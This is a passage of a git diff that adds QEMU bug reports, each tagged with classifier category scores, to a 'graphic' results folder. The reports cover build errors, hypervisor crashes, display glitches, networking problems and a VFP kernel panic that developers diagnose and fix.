(JMPREL) 0x89d0 + 0x0000000000000007 (RELA) 0x288 + 0x0000000000000008 (RELASZ) 34632 (bytes) + 0x0000000000000009 (RELAENT) 24 (bytes) + 0x000000006ffffffb (FLAGS_1) Flags: PIE + 0x000000006ffffff9 (RELACOUNT) 1443 + 0x0000000000000000 (NULL) 0x0 + diff --git a/results/classifier/108/graphic/1818 b/results/classifier/108/graphic/1818 new file mode 100644 index 000000000..87c576206 --- /dev/null +++ b/results/classifier/108/graphic/1818 @@ -0,0 +1,35 @@ +graphic: 0.978 +device: 0.914 +performance: 0.858 +semantic: 0.835 +PID: 0.685 +files: 0.610 +debug: 0.555 +permissions: 0.522 +boot: 0.508 +other: 0.500 +vnc: 0.480 +socket: 0.477 +network: 0.405 +KVM: 0.099 + +whpx does not work with hyper-v enabled +Description of problem: +I am experiencing issues with the WHPX (Windows Hypervisor Platform Accelerator) hardware acceleration in QEMU on my Windows 10 22h2 system. When I run QEMU with the `-accel whpx` option, I encounter the following problems: + +2. I receive the error message "WHPX: No accelerator found, hr=00000000" followed by "failed to initialize whpx: No space left on device." +Steps to reproduce: +1. Enable the Hyper-V feature on Windows. +2. Install the latest QEMU version +3. Run the QEMU command with the `-accel whpx` option. +Additional information: +- my cpu : intel i7 6500U +- ram : 8 gigabytes +- gpu : intel hd 520 +- drive : C: -> 200 gigabytes, D: -> 1to (c: 109 used, d: 732 used) +- emulated drive -> 50 gigabytes (500mb used) + + + + +(in french sorry) diff --git a/results/classifier/108/graphic/1819908 b/results/classifier/108/graphic/1819908 new file mode 100644 index 000000000..88a6b1801 --- /dev/null +++ b/results/classifier/108/graphic/1819908 @@ -0,0 +1,42 @@ +graphic: 0.956 +semantic: 0.682 +performance: 0.680 +device: 0.652 +KVM: 0.573 +other: 0.391 +PID: 0.360 +permissions: 0.317 +network: 0.303 +socket: 0.257 +debug: 0.254 +vnc: 0.181 +files: 0.134 +boot: 0.097 + +slight screen corruption when maximizing window + +Host: Ubuntu disco +qemu-kvm: 1:3.1+dfsg-2ubuntu2 +libvirt: 5.0.0-1ubuntu2 + + +Guest: ubuntu bionic +guest is using cirrus video, with the extra modules kernel package installed and the cirrus kernel module loaded + +A non-maximized terminal window works just fine. As an example, I run "lsmod". It fills the screen, which then scrolls a bit. + +The moment I maximize that window, though, the rendering breaks. I can see the commands I type, but not their output. See attached video. + + + +lsmod run on a non-maximized window. All looks good. + +continuing from the previous screenshot, all I did here was to click the maximize button. We can already see some bad rendering on the top right corner. + +Here, with the maximized window, I typed several commands again: lsmod, clear, clear. If you look carefully, you can see the clear at the bottom, then at the top again, and nothing changes. All I can see are the characters I type, but not the command's output or effect. The screen doesn't clear, and the list of modules produced by "lsmod" doesn't appear. + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1824528 b/results/classifier/108/graphic/1824528 new file mode 100644 index 000000000..f5cc3f57d --- /dev/null +++ b/results/classifier/108/graphic/1824528 @@ -0,0 +1,76 @@ +graphic: 0.971 +performance: 0.965 +socket: 0.954 +files: 0.948 +network: 0.941 +PID: 0.932 +permissions: 0.926 +device: 0.919 +debug: 0.913 +other: 0.912 +semantic: 0.901 +vnc: 0.900 +KVM: 0.895 +boot: 0.785 + +qemu fails to compile on gcc 9 `error: taking address of packed member of ‘struct <anonymous>’ may result in an unaligned pointer value [-Werror=address-of-packed-member]` + +Qemu compilation fails with below error on ppc64le host with gcc 9(9.0.1 20190328) +repo: https://github.com/qemu/qemu.git +branch: master +commit e1be98540ee672ef93292b65a986055512237c35 + + + CC net/dump.o +hw/usb/dev-mtp.c: In function ‘usb_mtp_write_metadata’: +hw/usb/dev-mtp.c:1708:36: error: taking address of packed member of ‘struct <anonymous>’ may result in an unaligned pointer value [-Werror=address-of-packed-member] + 1708 | dataset->filename); + | ~~~~~~~^~~~~~~~~~ +cc1: all warnings being treated as errors + CC net/eth.o +make: *** [/home/kvmci/qemu-main/rules.mak:69: hw/usb/dev-mtp.o] Error 1 +make: *** Waiting for unfinished jobs.... + CC net/announce.o + +Tried to patch as below and it compiles fine, not sure if this is right fix though, + + +# git diff +diff --git a/hw/usb/dev-mtp.c b/hw/usb/dev-mtp.c +index ebf210f..7d512e5 100644 +--- a/hw/usb/dev-mtp.c ++++ b/hw/usb/dev-mtp.c +@@ -231,7 +231,7 @@ typedef struct { + char date_modified[0]; /*unused*/ + char keywords[0]; /*unused*/ + /* string and other data follows */ +-} QEMU_PACKED ObjectInfo; ++} ObjectInfo; + + #define TYPE_USB_MTP "usb-mtp" + #define USB_MTP(obj) OBJECT_CHECK(MTPState, (obj), TYPE_USB_MTP) + + +This struct represents the MTP protocol wire format so *must* be marked packed. + +There unfortunately quite a few flaws in this MTP code area, so fixing the gcc warning is not straightforward. + +https://lists.gnu.org/archive/html/qemu-devel/2019-03/msg07763.html + +As a workaround, the simplest thing is to configure with --disable-werror, which will reduce these from errors to warnings. (This is the default if you're building from one of our release tarballs, but for builds from git we default to making all warnings into errors so we catch and fix them quickly.) + + +Sure, Thanks, using the workaround to proceed. + +Good if each commit goes through a automated build test across different platforms vs gcc versions. + +Regards, +-Satheesh. + +Fixed in + +https://lists.gnu.org/archive/html/qemu-devel/2019-04/msg02524.html + +The fixes for this issue in dev-mtp.c are now in QEMU git master and will be in the 4.1 release. + + diff --git a/results/classifier/108/graphic/1826599 b/results/classifier/108/graphic/1826599 new file mode 100644 index 000000000..616237d8e --- /dev/null +++ b/results/classifier/108/graphic/1826599 @@ -0,0 +1,34 @@ +graphic: 0.942 +device: 0.929 +performance: 0.927 +boot: 0.919 +socket: 0.899 +PID: 0.876 +network: 0.857 +files: 0.849 +vnc: 0.816 +debug: 0.726 +other: 0.709 +permissions: 0.704 +semantic: 0.613 +KVM: 0.104 + +qemu crashes with HV_ERROR with any guest when using HVF on macos + +qemu reliably crashes (after some unknown amount of time) for any guest I've run on macos with HVF acceleration. + +I'm currently running Haiku. After booting and running normally for a few minutes, it abruptly crashes and shows this error on stdout (I'm including the command line arguments): + ++ ISO=haiku-release-anyboot.iso ++ ACCEL='-accel hvf -machine type=q35,accel=hvf' ++ MEM='-m 1G' ++ SMP='-c 2' ++ NET='-device virtio-net,netdev=vmnic -netdev user,id=vmnic' ++ IMG_CD='-cdrom haiku-release-anyboot.iso' ++ IMG_HDD='-device virtio-scsi-pci,id=scsi -drive if=none,id=vd0,file=haiku.img,format=raw -device scsi-hd,drive=vd0' ++ DISPLAY='-usb -device usb-tablet' ++ qemu-system-x86_64 -accel hvf -machine type=q35,accel=hvf -usb -device usb-tablet -m 1G -device virtio-net,netdev=vmnic -netdev user,id=vmnic -device virtio-scsi-pci,id=scsi -drive if=none,id=vd0,file=haiku.img,format=raw -device scsi-hd,drive=vd0 +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +qemu-system-x86_64: Error: HV_ERROR +./qemu-boot.sh: line 19: 67497 Abort trap: 6 qemu-system-x86_64 $ACCEL $CPU $EFI $DISPLAY $MEM $NET $IMG_HDD + diff --git a/results/classifier/108/graphic/1830 b/results/classifier/108/graphic/1830 new file mode 100644 index 000000000..6013a279a --- /dev/null +++ b/results/classifier/108/graphic/1830 @@ -0,0 +1,41 @@ +graphic: 0.963 +debug: 0.961 +PID: 0.918 +performance: 0.760 +device: 0.704 +semantic: 0.700 +other: 0.698 +permissions: 0.547 +files: 0.537 +socket: 0.369 +vnc: 0.302 +boot: 0.284 +network: 0.217 +KVM: 0.045 + +command hangs in CentOS 7 arm64 container with Ubuntu 22 amd64 host +Description of problem: +The command hangs in the container, taking over the CPU: + +``` +$ docker run -it centos:7 +[root@42e655bf3d60 /]# LD_DEBUG=all /lib64/ld-2.17.so --list /usr/bin/true & +[1] 74 +[root@42e655bf3d60 /]# 74: file=/usr/bin/true [0]; generating link map + +[root@42e655bf3d60 /]# ps -e -o pid,ppid,etime,time,state,args + PID PPID ELAPSED TIME S COMMAND + 1 0 34:59 00:00:00 S /usr/libexec/qemu-binfmt/aarch64-binfmt-P /bin/bash /bin/bash + 74 1 03:16 00:03:13 R /usr/libexec/qemu-binfmt/aarch64-binfmt-P /lib64/ld-2.17.so /lib64/ld-2.17.so + 80 1 4-19:34:01 00:00:00 R ps -e -o pid,ppid,etime,time,state,args +[root@42e655bf3d60 /]# +``` +Steps to reproduce: +1. Start container +2. Run `/lib64/ld-2.17.so --list /usr/bin/true` +Additional information: +1. The problem is not observed in an Ubuntu 20.04 host system performing the same scenario. +2. My team build environment has amd64 native architecture hardware. I ran a similar scenario on an AWS arm64 native machine (QEMU is not needed) and the command works fine in the container. +3. My team builds several Linux images daily - about a dozen amd64 and eight arm64. This is the only image that's causing us this problem. +4. I built trace-cmd but when I tried to start a trace it told me `No events enabled with kvm`. +5. I built qemu-8.1.0-rc3 and saw the same behavior but I don't think `/usr/libexec/qemu-binfmt/aarch64-binfmt-P` was replaced with a new version so I don't think the old version was used for my container. diff --git a/results/classifier/108/graphic/1835 b/results/classifier/108/graphic/1835 new file mode 100644 index 000000000..671ca8ac1 --- /dev/null +++ b/results/classifier/108/graphic/1835 @@ -0,0 +1,33 @@ +graphic: 0.978 +network: 0.923 +performance: 0.903 +device: 0.838 +boot: 0.760 +PID: 0.750 +semantic: 0.743 +debug: 0.728 +vnc: 0.707 +permissions: 0.683 +socket: 0.658 +files: 0.623 +KVM: 0.218 +other: 0.174 + +IPv4 guest/outbound port forwarding not working +Description of problem: +Python http server running on the host can receive the first http request from guest and provides correct response, but the resent request gets stuck. Package couldn't be seen in `tcpdump` running on host. +Steps to reproduce: +1. Build libslirp, I am using HEAD @ master. +1. Build your QEMU with user network enabled to use slirp (`./configure -target-list=x86_64-softmmu --enable-slirp`). +1. Ran a Python server on host listening to port `6655` (`python3 -m http.server --bind :: 6655`). +1. Boot your QEMU with aforementioned QEMU command line, I am forwarding a server address to host's local address `guestfwd=tcp:10.0.2.100:6657-tcp:127.0.0.1:6655`. For image, I am using a ordinary Fedora 38 workstation live cdrom. +1. In your guest OS (emulated enviroment), open a terminal and run `curl http://10.0.2.100:6657`, this sends a http get to the +slirp outbound forwarding server. You should see the Python http server gets the request and provides correct response `::ffff:127.0.0.1 - - [17/Aug/2023 18:24:34] "GET / HTTP/1.1" 200 -`, nothing but just `ls` the directory. +5. Repeat step 4, you will see the `curl` command gets stuck. +Additional information: +I've added a .pacp capturing line in QEMU command line and investigated it via Wireshark, noticed the slirp gets the http get, but after that being stuck in some place, I saw the guest sending keep alive request to slirp, so I think this could be something in the QEMU side. + + + + + diff --git a/results/classifier/108/graphic/1835732 b/results/classifier/108/graphic/1835732 new file mode 100644 index 000000000..efc9e7320 --- /dev/null +++ b/results/classifier/108/graphic/1835732 @@ -0,0 +1,38 @@ +graphic: 0.960 +performance: 0.685 +device: 0.647 +semantic: 0.614 +PID: 0.368 +other: 0.359 +network: 0.349 +debug: 0.342 +socket: 0.326 +boot: 0.277 +permissions: 0.269 +files: 0.225 +vnc: 0.211 +KVM: 0.069 + +GTK display zoom in, zooms infinitely + +The zoom in feature in the "View" menu of the gtk frontend (launch qemu with -display gtk), seems to be very broken. + +If I hit the zoom in feature, it first zooms in. + +Then, it zooms in again. + +Every subsequent second that passes, it zooms in again, until it eventually eats up too much host resources and freezes the host desktop. + +I have seen this with 3.1.0 (Debian 1:3.1+dfsg-8~deb10u1), and also with a locally built 4.0, My colleague also confirms having seen the issue with 3.1.0 (Debian 1:3.1+dfsg-8). + +This seems to work for me + +Can you confirm: + a) Guest OS and version + b) Guest desktop environment + c) Host OS version + d) Host desktop env + e) The full command line you used for qemu. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1838763 b/results/classifier/108/graphic/1838763 new file mode 100644 index 000000000..3064c4719 --- /dev/null +++ b/results/classifier/108/graphic/1838763 @@ -0,0 +1,100 @@ +graphic: 0.981 +debug: 0.972 +device: 0.970 +PID: 0.961 +semantic: 0.960 +other: 0.951 +vnc: 0.950 +KVM: 0.949 +permissions: 0.934 +socket: 0.932 +performance: 0.924 +files: 0.903 +boot: 0.854 +network: 0.833 + +Bugs in SSH module (ssh.c) + +I installed gcc-8&libssh* on my Ubuntu 18.04 arm64.When I was compiling any version of qemu like 3.1.0 4.0.0or 4.1.0 with SSH support,the GCC went wrong.It said some vars undeclared like'SSH_KNOWN_HOSTS_OTHER','SSH_KNOWN_HOST_UNKNOWN',etc. + +$ uname -smrv +Linux 5.1.17 #7 SMP Wed Jul 10 08:35:08 UTC 2019 aarch64 + +$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 18.04.2 LTS +Release: 18.04 +Codename: bionic + +$ dpkg -l|fgrep libssh +ii libssh-4:arm64 0.8.0~20170825.94fa1e38-1ubuntu0.2 arm64 tiny C SSH library (OpenSSL flavor) +ii libssh-dev 0.8.0~20170825.94fa1e38-1ubuntu0.2 arm64 tiny C SSH library. Development files (OpenSSL flavor) + +$ ./configure +... +libssh support yes +... + +$ make +... + CC block/ssh.o +block/ssh.c: In function 'check_host_key_knownhosts': +block/ssh.c:281:28: error: storage size of 'state' isn't known + enum ssh_known_hosts_e state; + ^~~~~ +block/ssh.c:289:13: error: implicit declaration of function 'ssh_session_is_known_server' [-Werror=implicit-function-declaration] + state = ssh_session_is_known_server(s->session); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~ +block/ssh.c:289:13: error: nested extern declaration of 'ssh_session_is_known_server' [-Werror=nested-externs] +block/ssh.c:293:10: error: 'SSH_KNOWN_HOSTS_OK' undeclared (first use in this function); did you mean 'SSH_OPTIONS_HOSTKEYS'? + case SSH_KNOWN_HOSTS_OK: + ^~~~~~~~~~~~~~~~~~ + SSH_OPTIONS_HOSTKEYS +block/ssh.c:293:10: note: each undeclared identifier is reported only once for each function it appears in +block/ssh.c:297:10: error: 'SSH_KNOWN_HOSTS_CHANGED' undeclared (first use in this function); did you mean 'SSH_KNOWN_HOSTS_OK'? + case SSH_KNOWN_HOSTS_CHANGED: + ^~~~~~~~~~~~~~~~~~~~~~~ + SSH_KNOWN_HOSTS_OK +block/ssh.c:301:48: error: 'SSH_PUBLICKEY_HASH_SHA256' undeclared (first use in this function); did you mean 'SSH_PUBLICKEY_HASH_SHA1'? + r = ssh_get_publickey_hash(pubkey, SSH_PUBLICKEY_HASH_SHA256, + ^~~~~~~~~~~~~~~~~~~~~~~~~ + SSH_PUBLICKEY_HASH_SHA1 +block/ssh.c:307:27: error: implicit declaration of function 'ssh_get_fingerprint_hash'; did you mean 'ssh_get_pubkey_hash'? [-Werror=implicit-function-declaration] + fingerprint = ssh_get_fingerprint_hash(SSH_PUBLICKEY_HASH_SHA256, + ^~~~~~~~~~~~~~~~~~~~~~~~ + ssh_get_pubkey_hash +block/ssh.c:307:27: error: nested extern declaration of 'ssh_get_fingerprint_hash' [-Werror=nested-externs] +block/ssh.c:324:10: error: 'SSH_KNOWN_HOSTS_OTHER' undeclared (first use in this function); did you mean 'SSH_KNOWN_HOSTS_OK'? + case SSH_KNOWN_HOSTS_OTHER: + ^~~~~~~~~~~~~~~~~~~~~ + SSH_KNOWN_HOSTS_OK +block/ssh.c:329:10: error: 'SSH_KNOWN_HOSTS_UNKNOWN' undeclared (first use in this function); did you mean 'SSH_KNOWN_HOSTS_CHANGED'? + case SSH_KNOWN_HOSTS_UNKNOWN: + ^~~~~~~~~~~~~~~~~~~~~~~ + SSH_KNOWN_HOSTS_CHANGED +block/ssh.c:333:10: error: 'SSH_KNOWN_HOSTS_NOT_FOUND' undeclared (first use in this function); did you mean 'SSH_KNOWN_HOSTS_UNKNOWN'? + case SSH_KNOWN_HOSTS_NOT_FOUND: + ^~~~~~~~~~~~~~~~~~~~~~~~~ + SSH_KNOWN_HOSTS_UNKNOWN +block/ssh.c:337:10: error: 'SSH_KNOWN_HOSTS_ERROR' undeclared (first use in this function); did you mean 'SSH_KNOWN_HOSTS_OTHER'? + case SSH_KNOWN_HOSTS_ERROR: + ^~~~~~~~~~~~~~~~~~~~~ + SSH_KNOWN_HOSTS_OTHER +block/ssh.c:281:28: error: unused variable 'state' [-Werror=unused-variable] + enum ssh_known_hosts_e state; + ^~~~~ +cc1: all warnings being treated as errors +rules.mak:69: recipe for target 'block/ssh.o' failed +make: *** [block/ssh.o] Error 1 + +May be related to https://www.redhat.com/archives/libvir-list/2018-May/msg00597.html + +As suggested by Richard in [*], filled a libssh report: + +https://bugs.launchpad.net/ubuntu/+source/libssh/+bug/1847514 + +[*] https://lists.gnu.org/archive/html/qemu-devel/2019-08/msg02506.html + +I think that libssh in Ubuntu 18.04 is just broken. I don't think that we'll include a work-around in QEMU for this anymore, now that 20.04 is already released and works fine. Thus closing this as WONTFIX. + diff --git a/results/classifier/108/graphic/1841 b/results/classifier/108/graphic/1841 new file mode 100644 index 000000000..697c0f966 --- /dev/null +++ b/results/classifier/108/graphic/1841 @@ -0,0 +1,27 @@ +graphic: 0.976 +device: 0.915 +performance: 0.856 +vnc: 0.748 +debug: 0.698 +PID: 0.657 +semantic: 0.639 +network: 0.600 +permissions: 0.572 +boot: 0.558 +files: 0.487 +socket: 0.467 +KVM: 0.429 +other: 0.415 + +qemu version with 7.2.5 or earlier than 7.2.5 with nvme disk has I/O QID 22 timeout, Aborting errors +Description of problem: +When I use the 7.2.5 version of qemu or versions earlier than 7.2.5 to compile and start the virtual machine, the machine has an nvme disk which is SAMSUNG MZQL23T8HCLS-00B7C and passed through by VFIO. When i use fio to perform pressure test on the nvme disk in vm, dmesg shows message like this nvme nvme0: I/O QID 22 timeout, Aborting, the picture below shows its details. Howerver, when i use 8.0.0 version of qemu to compile and start vm, and using fio to perform pressure test on the nvme disk in vm, it does not have the problem like that. I have using different kernel version, however, the probelem persists, so i think this is not a kernel issue, but a qemu problem. + + +if the irqbalance is running in vm, the problem happens very often, however if the irqbalance is stopped, the problem disappear. + + +Steps to reproduce: +1. using the 7.2.5 or versions earlier than 7.2.5 and start vm which has an nvme disk +2. the nvme disk is passed through by VFIO +3. using FIO to perform pressure test on the nvme disk in vm diff --git a/results/classifier/108/graphic/1844 b/results/classifier/108/graphic/1844 new file mode 100644 index 000000000..d5dc0f46d --- /dev/null +++ b/results/classifier/108/graphic/1844 @@ -0,0 +1,37 @@ +graphic: 0.951 +device: 0.893 +performance: 0.786 +files: 0.764 +semantic: 0.764 +PID: 0.714 +boot: 0.660 +debug: 0.609 +vnc: 0.580 +permissions: 0.577 +other: 0.506 +network: 0.460 +socket: 0.349 +KVM: 0.340 + +qemu process memory usage greater than windows guest memory usage +Description of problem: +The Windows Guest internal memory usage is low,but is very high on host of qemu progress. But the linux guest is no such case.Is there any way to trigger the host to reclaim virtual machine memory? +Steps to reproduce: +1.install a windows guest with 128GB of memory and start it. + +2.When the machine is stable, the VM internal memory usage is low,but is very high on host of qemu progress. + +3.on host,use "free -g" to query,the memory used is also very high + +4.when migrate or dormancy,it can recovery,but I want to know is there any way to trigger the host to reclaim virtual machine memory? + + +host: + + + + + +guest: + + diff --git a/results/classifier/108/graphic/1844597 b/results/classifier/108/graphic/1844597 new file mode 100644 index 000000000..e51299cdc --- /dev/null +++ b/results/classifier/108/graphic/1844597 @@ -0,0 +1,127 @@ +graphic: 0.960 +other: 0.956 +debug: 0.951 +permissions: 0.950 +performance: 0.942 +device: 0.939 +semantic: 0.934 +PID: 0.918 +vnc: 0.910 +KVM: 0.887 +network: 0.877 +socket: 0.865 +boot: 0.838 +files: 0.807 + +fc1120a7f5f2d4b601003205c598077d3eb11ad2 causes a kernel panic in vfp_init on a clang built kernel + +Commit 4cdabee7d6d2 ("ARM: configs: aspeed_g5: Enable AST2600") [1] in the Linux kernel enabled CONFIG_VFP. When building this config with Clang, the resulting kernel does not boot after commit fc1120a7f5 ("target/arm: Implement NSACR gating of floating point") [2] (present since the 4.1.0 release). + +The QEMU command: + +qemu-system-arm -m 512m \ + -machine romulus-bmc \ + -no-reboot \ + -dtb out/arch/arm/boot/dts/aspeed-bmc-opp-romulus.dtb \ + -initrd rootfs.cpio \ + -display none \ + -serial mon:stdio \ + -kernel ${KBF}/arch/arm/boot/zImage + +If it is needed, the rootfs we are using is provided at a link below [3]. + +Debugging with QEMU reveals that the kernel panics in vfp_init, specifically at the line: + +vfpsid = fmrx(FPSID); + +in arch/arm/vfp/vfpmodule.c because of an illegal instruction: + +[ 0.058685] VFP support v0.3: +[ 0.059159] Internal error: Oops - undefined instruction: 0 [#1] SMP ARM +[ 0.059525] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.3.0-next-20190918-dirty #1 +[ 0.059547] Hardware name: Generic DT based system +[ 0.059702] PC is at vfp_init+0x50/0x1f4 +[ 0.059721] LR is at vfp_init+0x4c/0x1f4 +[ 0.059738] pc : [<80b0383c>] lr : [<80b03838>] psr: 60000153 +[ 0.059756] sp : 9e497ec0 ip : 00000020 fp : 9e497ed8 +[ 0.059773] r10: 00000000 r9 : ffffe000 r8 : 80c06048 +[ 0.059792] r7 : 00000000 r6 : 80c0caac r5 : 80c6c418 r4 : 80b037ec +[ 0.059811] r3 : 00000000 r2 : 339aa372 r1 : 00000000 r0 : 00000012 +[ 0.059859] Flags: nZCv IRQs on FIQs off Mode SVC_32 ISA ARM Segment none +[ 0.059883] Control: 00c5387d Table: 80004008 DAC: 00000051 +[ 0.059997] Process swapper/0 (pid: 1, stack limit = 0x(ptrval)) +[ 0.060048] Stack: (0x9e497ec0 to 0x9e498000) +[ 0.060205] 7ec0: 80b037ec 80b6bf0c 80b037ec ffffffff 00000000 00000000 9e497f48 80b01100 +[ 0.060310] 7ee0: 00000000 9eeff9e0 80a85734 809eb9be 00000000 8014b7f4 9eeff9e0 80a85734 +[ 0.060408] 7f00: 9e497f48 8014b7f4 000000a4 00000001 00000001 00000000 80b0133c 9e497f38 +[ 0.060509] 7f20: 00000000 9eeff9d5 339aa372 80b6be80 80b6bf0c 00000000 00000000 00000000 +[ 0.060606] 7f40: 00000000 00000000 9e497f70 80b01864 00000001 00000001 00000000 80b0133c +[ 0.060703] 7f60: 00000001 8085d268 00000000 00000000 9e497f80 80b01758 00000000 00000000 +[ 0.060800] 7f80: 9e497f90 80b015e4 00000000 8085d268 9e497fa8 8085d27c 00000000 8085d268 +[ 0.060897] 7fa0: 00000000 00000000 00000000 801010e8 00000000 00000000 00000000 00000000 +[ 0.060993] 7fc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 +[ 0.061090] 7fe0: 00000000 00000000 00000000 00000000 00000013 00000000 00000000 00000000 +[ 0.061625] [<80b0383c>] (vfp_init) from [<80b01100>] (do_one_initcall+0xa8/0x1e0) +[ 0.061722] [<80b01100>] (do_one_initcall) from [<80b01864>] (do_initcall_level+0xfc/0x12c) +[ 0.061742] [<80b01864>] (do_initcall_level) from [<80b01758>] (do_basic_setup+0x2c/0x3c) +[ 0.061759] [<80b01758>] (do_basic_setup) from [<80b015e4>] (kernel_init_freeable+0x68/0x104) +[ 0.061777] [<80b015e4>] (kernel_init_freeable) from [<8085d27c>] (kernel_init+0x14/0x26c) +[ 0.061798] [<8085d27c>] (kernel_init) from [<801010e8>] (ret_from_fork+0x14/0x2c) +[ 0.061835] Exception stack(0x9e497fb0 to 0x9e497ff8) +[ 0.061896] 7fa0: 00000000 00000000 00000000 00000000 +[ 0.061998] 7fc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 +[ 0.062080] 7fe0: 00000000 00000000 00000000 00000000 00000013 00000000 +[ 0.062263] Code: e5860000 e59f0174 ebd9d8fc e59f5170 (eef04a10) +[ 0.062679] ---[ end trace 2d338c91e4e74562 ]--- + +Before fc1120a7f5: + +[ 0.069418] VFP support v0.3: implementor 41 architecture 1 part 20 variant b rev 5 + +Should you need to reproduce this locally: + +* clang 9.0.0 or later is needed to build this config. If you do not have easy access to such a build, we have a clang build script available [4] that can help with this: + +% ./build-llvm.py --branch llvmorg-9.0.0-rc6 \ + --build-stage1-only \ + --projects clang \ + --targets ARM + +* Because of an unrelated build issue, linux-next needs to be used (or the singular patch that resolves it needs to be cherry-picked on top of 4cdabee7d6d2 [5]). The kernel make command used: + +% make -j$(nproc) -s \ + ARCH=arm \ + CC=clang \ + CROSS_COMPILE=arm-linux-gnueabi- \ + O=out \ + distclean aspeed_g5_defconfig all + +[1]: https://git.kernel.org/linus/4cdabee7d6d2e439fea726a101e448c4ca6837f4 +[2]: https://git.qemu.org/?p=qemu.git;a=commit;h=fc1120a7f5f2d4b601003205c598077d3eb11ad2 +[3]: https://github.com/ClangBuiltLinux/continuous-integration/blob/800d84bf8c55ee04c50ed4c78144a96d889a91c5/images/arm/rootfs.cpio +[4]: https://github.com/ClangBuiltLinux/tc-build +[5]: http://git.armlinux.org.uk/cgit/linux-arm.git/commit/?id=7b3948597372e5a6b314208ac320362c204b7f0f + +Hi; could you attach all the binaries needed to repro this (zImage, dtb, etc) to the bug please? + + +Ugh, sorry, I forget that I can actually upload files to these platforms :( + +Done, let me know if you need anything else! + + + +Thanks. I've diagnosed the problem -- when we boot a kernel directly into non-secure state on an AArch32 CPU which implements EL3, we need to set the NSACR.{CP11,CP10} bits so that Non-Secure is allowed to use the FPU, but we weren't doing that. The omission didn't matter until commit fc1120a7f5 because before that point we were ignoring the NSACR trap bits entirely... Patch coming up shortly. + + + +Should be fixed by: +https://<email address hidden>/ +(which allows me to boot the kernel you attached at least as far as "didn't find a root filesystem"). + + +I pulled down the fix, built locally, and can confirm that this resolves the issue. Thank you for the quick patch! + +Fixed in master in commit ece628fcf69cbbd, which will be in the 4.2 release (also tagged for stable so will end up on the 4.1.x branch at some point). + + diff --git a/results/classifier/108/graphic/1845 b/results/classifier/108/graphic/1845 new file mode 100644 index 000000000..3e77f76ab --- /dev/null +++ b/results/classifier/108/graphic/1845 @@ -0,0 +1,24 @@ +graphic: 0.931 +device: 0.873 +semantic: 0.646 +debug: 0.575 +PID: 0.565 +boot: 0.510 +performance: 0.463 +network: 0.407 +permissions: 0.379 +socket: 0.378 +vnc: 0.346 +KVM: 0.343 +files: 0.125 +other: 0.108 + +qemu-xhci not working on aarch64 +Description of problem: +Once the VM is loaded I run lsusb from the cli and I get no devices listed. +Steps to reproduce: +1. Build qemu from source with libusb support +2. Launch vm using the above configuration +3. Run lsusb from the command line in the VM instance +Additional information: + diff --git a/results/classifier/108/graphic/1856 b/results/classifier/108/graphic/1856 new file mode 100644 index 000000000..a9cec06c6 --- /dev/null +++ b/results/classifier/108/graphic/1856 @@ -0,0 +1,28 @@ +graphic: 0.927 +files: 0.901 +performance: 0.899 +network: 0.856 +device: 0.829 +debug: 0.820 +vnc: 0.812 +socket: 0.772 +PID: 0.725 +semantic: 0.655 +permissions: 0.652 +boot: 0.647 +other: 0.388 +KVM: 0.260 + +Replay got stuck with consecutive hardware interrupts coming +Description of problem: +I recorded bin file using **_rr=record_** command line. But it got stuck when replaying this record bin file. The icount number would never change after stucking if I typed _**info replay**_ with qmp command line. + +I found that the following instructions should be a sequence of consecutive hardware interrupts after stucking once checking the trace log of +both replay and record log using _**-d in_asm,int**_. +Steps to reproduce: +1.pulling from remote which the newest commit ID is 156618d9ea67f2f2e31d9dedd97f2dcccbe6808c +2.emulating Windows 7 OS on aarch64 Host with TCG acceleration mechanism +3.using **_rr=record_** to make replay file and tracing guest code and interrupts using _**-d in_asm,int**_ +4.replaying the previous file and also tracing guest code and interrupts +Additional information: +# diff --git a/results/classifier/108/graphic/1859723 b/results/classifier/108/graphic/1859723 new file mode 100644 index 000000000..9500458ab --- /dev/null +++ b/results/classifier/108/graphic/1859723 @@ -0,0 +1,38 @@ +graphic: 0.944 +other: 0.790 +device: 0.719 +performance: 0.686 +vnc: 0.614 +socket: 0.609 +network: 0.599 +permissions: 0.550 +semantic: 0.491 +files: 0.486 +boot: 0.426 +debug: 0.389 +PID: 0.372 +KVM: 0.200 + +Qemu ungrabs before cursor reaches border + +This was first reported https://bugzilla.redhat.com/show_bug.cgi?id=1285378 + +video: https://peertube.co.uk/videos/watch/fedaa432-79ef-4d30-bd0e-26c806e48db0 + +version: QEMU emulator version 4.2.0 + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1861161 b/results/classifier/108/graphic/1861161 new file mode 100644 index 000000000..01210f18a --- /dev/null +++ b/results/classifier/108/graphic/1861161 @@ -0,0 +1,161 @@ +graphic: 0.990 +performance: 0.988 +device: 0.986 +other: 0.985 +debug: 0.985 +permissions: 0.981 +semantic: 0.977 +files: 0.972 +PID: 0.970 +socket: 0.967 +boot: 0.965 +KVM: 0.961 +vnc: 0.952 +network: 0.888 + +qemu-arm-static stuck with 100% CPU when cross-compiling emacs + +Hello, + +I'm trying to build multi-arch docker images for https://hub.docker.com/r/silex/emacs. + +Here is the machine I'm building on: + +root@ubuntu-4gb-fsn1-1:~# lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 18.04.3 LTS +Release: 18.04 +Codename: bionic +root@ubuntu-4gb-fsn1-1:~# uname -a +Linux ubuntu-4gb-fsn1-1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + +Whenever I try to build the following alpine Dockerfile 